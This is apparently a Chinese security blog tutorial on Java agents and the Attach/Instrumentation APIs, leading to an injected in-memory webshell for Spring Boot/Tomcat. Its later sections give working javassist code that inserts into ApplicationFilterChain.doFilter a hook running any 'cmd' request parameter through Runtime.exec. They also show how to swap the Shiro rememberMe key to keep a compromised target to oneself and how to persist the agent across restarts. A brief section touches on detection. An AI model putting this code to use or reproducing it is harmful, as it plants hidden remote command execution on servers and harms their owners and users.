介绍
Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。
在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码。
java作为一种强类型的语言,不通过编译就不能够进行jar包的生成。而有了java agent技术,就可以在字节码这个层面对类和方法进行修改。同时,也可以把java agent理解成一种代码注入的方式。但是这种注入比起spring的aop更加的优美。
Java agent的使用方式有两种:
- 实现
premain方法,在JVM启动前加载。 - 实现
agentmain方法,在JVM启动后加载。
premain和agentmain函数声明如下,拥有Instrumentation inst参数的方法优先级更高:
public static void agentmain(String agentArgs, Instrumentation inst) {...}public static void agentmain(String agentArgs) {...}public static void premain(String agentArgs, Instrumentation inst) {...}public static void premain(String agentArgs) {...}
第一个参数String agentArgs就是Java agent的参数。
第二个参数Instrumentation inst相当重要,inst 是一个 java.lang.instrument.Instrumentation 的实例,由 JVM 自动传入。java.lang.instrument.Instrumentation 是 instrument 包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。
premain
这里简单的举例说明premain的使用,创建一个maven项目
编写premain函数
import java.lang.instrument.Instrumentation;public class Main {public static void premain(String agentArgs, Instrumentation inst){for(int i=0; i < 5; i+=1){System.out.println("called premain");}}}
在resources目录下创建META-INF/MANIFEST.MF,并指定Premain-Class;要注意的是,最后必须多一个换行。
Manifest-Version: 1.0Premain-Class: Main

然后打包成jar文件,在Project Structure -> Artifacts -> JAR -> From modules with dependencies中配置
默认选项就行
然后选择Build -> Build Artifacts -> Build
会在out/artifacts/javaagent_jar目录下生成对应的jar文件
随便找个jar文件示例,比如我们写个hello word,使用 -javaagent:agent.jar 参数执行
java -javaagent:javaagent.jar -jar hello.jar

可以发现在hello.jar输出Hello world之前就执行了,具体执行流程大致如下
然而这种方法存在一定的局限性:只能在启动时使用-javaagent参数指定。
在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain。相比之下,agentmain更加实用。
agentmain
写一个agentmain和premain差不多,只需要在META-INF/MANIFEST.MF中加入Agent-Class:即可。
Manifest-Version: 1.0Agent-Class: AgentMain
不同的是,这种方法不是通过JVM启动前的参数来指定的,官方为了实现启动后加载,提供了Attach API。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach 包里面。着重关注的是VitualMachine这个类。
需要依赖
VitualMachine的loadAgent达到attach的目的
VirtualMachine
字面意义表示一个Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了获取系统信息、 loadAgent,attach 和 detach 等方法,可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上 。代理类注入操作只是它众多功能中的一个,通过loadAgent方法向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例。
具体的用法看一下官方给的例子大概就理解了:
// com.sun.tools.attach.VirtualMachine// 下面的示例演示如何使用VirtualMachine:// attach to target VMVirtualMachine vm = VirtualMachine.attach("2177");// start management agentProperties props = new Properties();props.put("com.sun.management.jmxremote.port", "5000");vm.startManagementAgent(props);// detachvm.detach();// 在此示例中,我们附加到由进程标识符2177标识的Java虚拟机。然后,使用提供的参数在目标进程中启动JMX管理代理。最后,客户端从目标VM分离。
下面列几个这个类提供的方法:
com.sun.tools.attach.VirtualMachine``` public abstract class VirtualMachine { // 获得当前所有的JVM列表 public static Listlist() { … } // 根据pid连接到JVM public static VirtualMachine attach(String id) { … }
// 断开连接 public abstract void detach() {}
// 加载agent,agentmain方法靠的就是这个方法 public void loadAgent(String agent) { … }
}
### 实现举例- Attach.java(找到进程,加载`agentMain.jar`)
import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { if(args.length == 2){ String pid = args[0]; String jarName = args[1];
System.out.println("attach 的 pid ==> " + pid);System.out.println("attach 的 jarName ==> " + jarName);// 连接到JVMVirtualMachine virtualMachine = VirtualMachine.attach(pid);// 加载agentmainvirtualMachine.loadAgent(jarName);// 断开连接virtualMachine.detach();System.out.println("ends");}else{System.out.println("至少2个参数");// 列出所有的jvmSystem.out.println(VirtualMachine.list());}}
}
- AgentMain.java(想要动态实现的代码)
import java.lang.instrument.Instrumentation;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) { for(int i=0; i < 5; i+=1){ System.out.println(“called agentmain”); } } }
- 可以写一起打包成一个jar,也可以分开打包成2个,问题都不大,只要`MANIFST.MF`没问题就行
Manifest-Version: 1.0 PreMain-Class: PreMain Agent-Class: AgentMain Main-Class: Attach
- 找一下想要操作的jvm的pid(也可以用上面的`list()`方法看到pid)- 配置参数
java -jar attach.jar 63242 agentMain.jar
也可以手动在idea里面配置好<br />- 运行- 转到我们想要attach的tomcat中看看效果## Instrumentation刚才说了第二个参数`Instrumentation inst`相当重要,inst 是一个 `java.lang.instrument.Instrumentation` 的实例,由 JVM 自动传入。`java.lang.instrument.Instrumentation` 是 `instrument` 包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。<br />下面列出这个类的一些方法,更加详细的介绍和方法,可以参照[官方文档](61516acf6623f9121e85487fc00fc898),也可以看这个类源码里面的说明
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。void addTransformer(ClassFileTransformer transformer, boolean canRetransform);// 删除一个类转换器boolean removeTransformer(ClassFileTransformer transformer);// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;// 判断目标类是否能够修改。boolean isModifiableClass(Class<?> theClass);// 获取目标已经加载的类。@SuppressWarnings("rawtypes")Class[] getAllLoadedClasses();......
}
### 获取所有可修改类先介绍`getAllLoadedClasses`和`isModifiableClasses`。顾名思义:- `getAllLoadedClasses`:获取所有已经加载的类。- `isModifiableClasses`:判断某个类是否能被修改。修改刚才的`AgentMain.java`,并编译
import java.lang.instrument.Instrumentation;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) { Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses){ System.out.println(cls.getName()); System.out.print(“isModifiableClass: “); System.out.println(inst.isModifiableClass(cls)?”true”:”false”); } } }
修改`Attach.java`,并重新attach到jvm中
import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { // 列出所有的jvm System.out.println(VirtualMachine.list()); String pid = “68588”; String jarName = “/Users/d4m1ts/d4m1ts/java/javaagent/out/artifacts/javaagent_jar/javaagent.jar”; // 连接到JVM VirtualMachine virtualMachine = VirtualMachine.attach(pid); // 加载agentmain virtualMachine.loadAgent(jarName); // 断开连接 virtualMachine.detach();
System.out.println("ends");}
}
运行后<br /><br />得到了目标JVM上所有已经加载的类,并且知道了这些类能否被修改### 修改类使用`addTransformer()`和`retransformClasses()`可以篡改Class的字节码<br />首先再看一下这两个方法的声明:
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。void addTransformer(ClassFileTransformer transformer, boolean canRetransform);// 删除一个类转换器boolean removeTransformer(ClassFileTransformer transformer);// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;......
}
在`addTransformer()`方法中,有一个参数`ClassFileTransformer transformer`。这个参数将帮助我们完成字节码的修改工作。#### ClassFileTransformer`ClassFileTransformer`也是一个接口,它提供了`transform`方法,此方法的实现可能会转换提供的类文件并返回新的替换类文件。<br /><br />接口注释简单概括一下:1. 使用`Instrumentation.addTransformer()`来加载一个转换器。1. 转换器的返回结果(`transform()`方法的返回值)将成为转换后的字节码。1. 对于没有加载的类,会使用`ClassLoader.defineClass()`定义它;对于已经加载的类,会使用`ClassLoader.redefineClasses()`重新定义,并配合`Instrumentation.retransformClasses`进行转换。现在已经知道了怎样能修改Class的字节码,具体的做法还需要用到另一个类库`javassist`来获取字节码,不了解的可以网上找文章了解下,可以简单理解为:通过这个类库可以直接创建一个class字节码文件#### javassist因为我们的目的只是修改某个类的某个方法,所以着重介绍下`CtMethod`,其他需要的简单过一下##### 依赖
<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.28.0-GA</version></dependency>
##### ClassPool这个类是`javassist`的核心组件之一。<br />来看一下官方对他的介绍:> `ClassPool`是`CtClass`对象的容器。`CtClass`对象必须从该对象获得。如果`get()`在此对象上调用,则它将搜索表示的各种源`ClassPath` 以查找类文件,然后创建一个`CtClass`表示该类文件的对象。创建的对象将返回给调用者。简单来说,这就是个容器,存放的是`CtClass`对象。<br />获得方法: `ClassPool cp = ClassPool.getDefault();`。通过 `ClassPool.getDefault()` 获取的 `ClassPool` 使用 JVM 的类搜索路径。**如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类**,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,**ClassPool 必须添加额外的类搜索路径**。
cp.insertClassPath(new ClassClassPath(
##### CtClass可以把它理解成加强版的`Class`对象,需要从`ClassPool`中获得。<br />获得方法:`CtClass cc = cp.get(ClassName)`。##### CtMethod同理,可以理解成加强版的`Method`对象。<br />获得方法:`CtMethod m = cc.getDeclaredMethod(MethodName)`。<br />这个类提供了一些方法,使我们可以便捷的修改方法体:
public final class CtMethod extends CtBehavior { // 主要的内容都在父类 CtBehavior 中 }
// 父类 CtBehavior public abstract class CtBehavior extends CtMember { // 设置方法体 public void setBody(String src);
// 插入在方法体最前面public void insertBefore(String src);// 插入在方法体最后面public void insertAfter(String src);// 在方法体的某一行插入内容public int insertAt(int lineNum, String src);
}
传递给方法 `insertBefore()` ,`insertAfter()` 和 `insertAt()` 的 String 对象**是由`Javassist` 的编译器编译的**。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:|符号| 含义|| --- | --- ||`$0`, `$1`, `$2`, ...| `$0 = this; $1 = args[1] .....`||`$args`| 方法参数数组.它的类型为 `Object[]`||`$$`| 所有实参。例如, `m($$)` 等价于 `m($1,$2,`...`)`||`$cflow(`...`)`| `cflow` 变量||`$r`| 返回结果的类型,用于强制类型转换||`$w`| 包装器类型,用于强制类型转换||`$_`| 返回值|详细的内容可以看[Javassist 使用指南(二)](https://www.jianshu.com/p/b9b3ff0e1bf8)。#### 示例举例说明一下是如何动态修改类字节码的<br />先说2个注意点:- 如果在使用过程中找不到javassist包中的类(因为目标环境也需要这个类库,不然会找不到Class),那么可以使用URLCLassLoader+反射的方式调用- 需要在`agent.jar`中的`MANIFEST.MF`中添加`Can-Retransform-Classes: true`,不然会抛出异常`UnmodifiableClassException`---- 被动态修改的类源码,其中`Hello`类的`hello`方法是我们要动态修改的目标,用`Scanner`是为了保证程序不停止,给我们留有操作的时间
// Main.java import java.util.Scanner;
public class Main { public static void main(String[] args) { Hello h1 = new Hello(); h1.hello();
System.out.println("等待输入...");new Scanner(System.in).next();Hello h2 = new Hello();h2.hello();}
}
// Hello.java public class Hello { public void hello(){ System.out.println(“hello world”); } }
- 运行并获取pid(69484)- attach代码还是差不多,主要是给`agent.jar`附加进去
import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { // 列出所有的jvm System.out.println(VirtualMachine.list()); String pid = “69484”; String jarName = “/Users/d4m1ts/d4m1ts/java/javaagent/out/artifacts/javaagent_jar/javaagent.jar”; // 连接到JVM VirtualMachine virtualMachine = VirtualMachine.attach(pid); // 加载agentmain virtualMachine.loadAgent(jarName); // 断开连接 virtualMachine.detach();
System.out.println("ends");}
}
- AgentMain(主要是添加Transformer和触发Transformer)
// AgentMain.java import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses){ // 定位到类 if (cls.getName() == TransformerDemo.editClassName){ // 添加Transformer inst.addTransformer(new TransformerDemo(), true); // 触发Transformer inst.retransformClasses(cls); } }
}
}
// TransformerDemo.java import javassist.*;
import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
// addTransformer()的第一个参数需要ClassFileTransformer这个类的对象 public class TransformerDemo implements ClassFileTransformer { public static String editClassName = “Hello”; public static String editMethod = “hello”;
@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {ClassPool classPool = ClassPool.getDefault();// 添加额外的类搜索路径if (classBeingRedefined != null){ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);classPool.insertClassPath(classClassPath);}// 修改方法hello(),返回 byte[] 字节码try {CtClass ctClass = classPool.get(editClassName);CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);String modifySource = "System.out.println(\"TransformerDemo attached\");";ctMethod.setBody(modifySource);byte[] bytes = ctClass.toBytecode();ctClass.detach();return bytes;} catch (NotFoundException e) {e.printStackTrace();} catch (CannotCompileException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}return new byte[0];}
}
- 结果,可以看到第二次执行`hello()`方法时发现该方法被动态的修改了## 内存马既然现在已经能够修改方法体了,那就可以将木马放到**某个一定会执行**的方法内,这样的话,当访问任意路由的时候,就会调用木马。那么现在的问题就变成了,注入到哪一个类的哪个方法比较好。<br />众所周知,Spring boot 中内嵌了一个`embed Tomcat`作为容器,而在网上流传着很多版本的 Tomcat“无文件”内存马。这些内存马大多数都是通过**重写/添加`Filter`**来实现的。既然Spring boot 使用了`Tomcat`,那么能不能照葫芦画瓢,通过`Filter`,实现一个Spring boot的内存马呢?当然是可以的。### Spring Boot的Filter给写的`Controller`下个断点,可以看到执行到`controller`的时候,会经过很多的`doFilter`和`internalDoFilter`方法,它们大多来自于`ApplicationFilterChain`这个类。<br /><br />看看`ApplicationFilterChain`的`doFilter`方法:
@Override public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if( Globals.IS_SECURITY_ENABLED ) {final ServletRequest req = request;final ServletResponse res = response;try {java.security.AccessController.doPrivileged(new java.security.PrivilegedExceptionAction<Void>() {@Overridepublic Void run()throws ServletException, IOException {internalDoFilter(req,res);return null;}});} catch (PrivilegedActionException pe) {......}} else {internalDoFilter(request,response);}
}
乍一看内容挺多,其实总结下来就是调用`this.internalDoFilter()`。所以再来简单看一下`internalDoFilter()`方法:
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
// Call the next filter if there is oneif (pos < n) {......}
}
这两个个方法拥有`Request`和`Response`参数。如果能重写其中一个,那就能控制所有的请求和响应!因此,用来作为内存马的入口点简直完美。这里我选择`doFilter()`方法,具体原因会在之后提到。### Java agent修改doFilter> 注意:> 1. 每次attach之前,需要访问一下spring的web页面,要让Spring `Initializing Spring DispatcherServlet 'dispatcherServlet'`,加载一下需要的类,不然不会attach成功,因为找不到我们要修改的类,所以也找不到方法,也就无法修改成功> 1. shell中所有类都要用全称,比如`java.io.InputStream`,不然可能会抛出异常> 1. 如果是完全替代方法,记得用{}包裹> 1. 可能会出现各种`java.lang.NoClassDefFoundError`的问题,跟一下这个断点,就会发现缺少各种各样的class文件,跟了一下,发现可能是动态修改字节码后,整个类的class都会出现异常,太离谱了,也不知道网上的大哥们为啥没遇到> 1. 接上一个问题,动态修改过的class文件反编译后代码是没问题的,但是还是不知道为啥解决不了找不到类定义的问题对刚才的agent代码稍微修改即可(实在重写不了`doFilter`方法了,分析了几天,重写了class就算代码没问题,也会出现`java.lang.NoClassDefFoundError`的问题)> 并且这里为了不破坏原来的方法结构,我们不用`CtMethod`的`setSource`,而是用`insertBefore`方法- AgentMain.java
// AgentMain.java import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses){ // 定位到类 if (cls.getName() == TransformerDemo.editClassName){ // 添加Transformer inst.addTransformer(new TransformerDemo(), true); // 触发Transformer inst.retransformClasses(cls); } }
}
}
// TransformerDemo.java import javassist.*;
import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
// addTransformer()的第一个参数需要ClassFileTransformer这个类的对象 public class TransformerDemo implements ClassFileTransformer { public static String editClassName = “org.apache.catalina.core.ApplicationFilterChain”; public static String editMethod = “doFilter”; public static String memshell = “” + “ javax.servlet.http.HttpServletRequest req = $1;\n” + “ javax.servlet.http.HttpServletResponse res = $2;\n” + “ java.lang.String cmd = req.getParameter(\”cmd\”);\n” + “\n” + “ if (cmd != null){\n” + “ System.out.println(cmd);” + “ try {\n” + “ java.lang.Runtime.getRuntime().exec(cmd);\n” + “ } catch (Exception e){\n” + “ e.printStackTrace();\n” + “ }\n” + “ }\n” + “ else{\n” + “ internalDoFilter(req,res);\n” + “ }\n” + “”;
@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {ClassPool classPool = ClassPool.getDefault();// 添加额外的类搜索路径if (classBeingRedefined != null) {ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);classPool.insertClassPath(classClassPath);}// 修改方法doFilter(),返回 byte[] 字节码try {CtClass ctClass = classPool.get(editClassName);CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);ctMethod.insertBefore(memshell);ctClass.writeFile("/Users/d4m1ts/d4m1ts/java/Temp/out/artifacts/temp_jar");System.out.println(memshell);System.out.println("injection success");byte[] bytes = ctClass.toBytecode();ctClass.detach();return bytes;} catch (NotFoundException e) {e.printStackTrace();} catch (CannotCompileException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}return new byte[0];}
}
给上面的打包成`agent.jar`,然后通过虚拟机attach到spring jvm中,再执行命令即可(理论上是可以的,网上的文章也都可以成功,但我实在是调不出来为啥了)<br />## 拓展操作通过加载agent可以修改很多类的字节码,所以利用起来操作的空间也很大,不仅仅是内存马这一个点。<br />一个比较多的利用方法,就是修改`shiro`的key,这样可以让这个漏洞仅自己可用,避免共享目标权限<br />**重点:**<br />**在解析rememberMe的时候,先将其base64解码,然后使用AES解密,在AES解密的时候,会调用`org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey()`**,更改掉这个函数的返回值,就可以更改解密的密钥。
// 使用insertBefore() $0.setCipherKey(org.apache.shiro.codec.Base64.decode(“4AvVhmFLUs0KTA3Kprsdag==”));
// 使用setBody() return (org.apache.shiro.codec.Base64.decode(“4AvVhmFLUs0KTA3Kprsdag==”));
```
查杀
agent 内存马相比 filter 内存马,会多一步就是我们需要将我们自己的 agent.jar 传到目标上,然后利用代码将 agent.jar 进行注入,注入之后我们就可以将 agent.jar 进行删除,agent 内存马相比 filter 这些内存马相对更难查杀一些
- 基于javaAgent内存马检测查杀指南
风险
注入agent内存马后,可能存在我上面那种整个网站崩溃的情况;网上有说可能是因为虚拟内存不够了而导致的,但是我设置大了虚拟内存还是不行。。。
所以实战中尽量还是用API型的内存马
内存马复活
换个说法,如何防止内存马重启后失效;
其实也很简单,就是在jvm关闭前,把attach.jar和agentMain.jar都写到磁盘上,然后无限调用attach.jar尝试attach到jvm中;
但是这样感觉更容易被发现了,所谓有得必有失吧emmm
总览

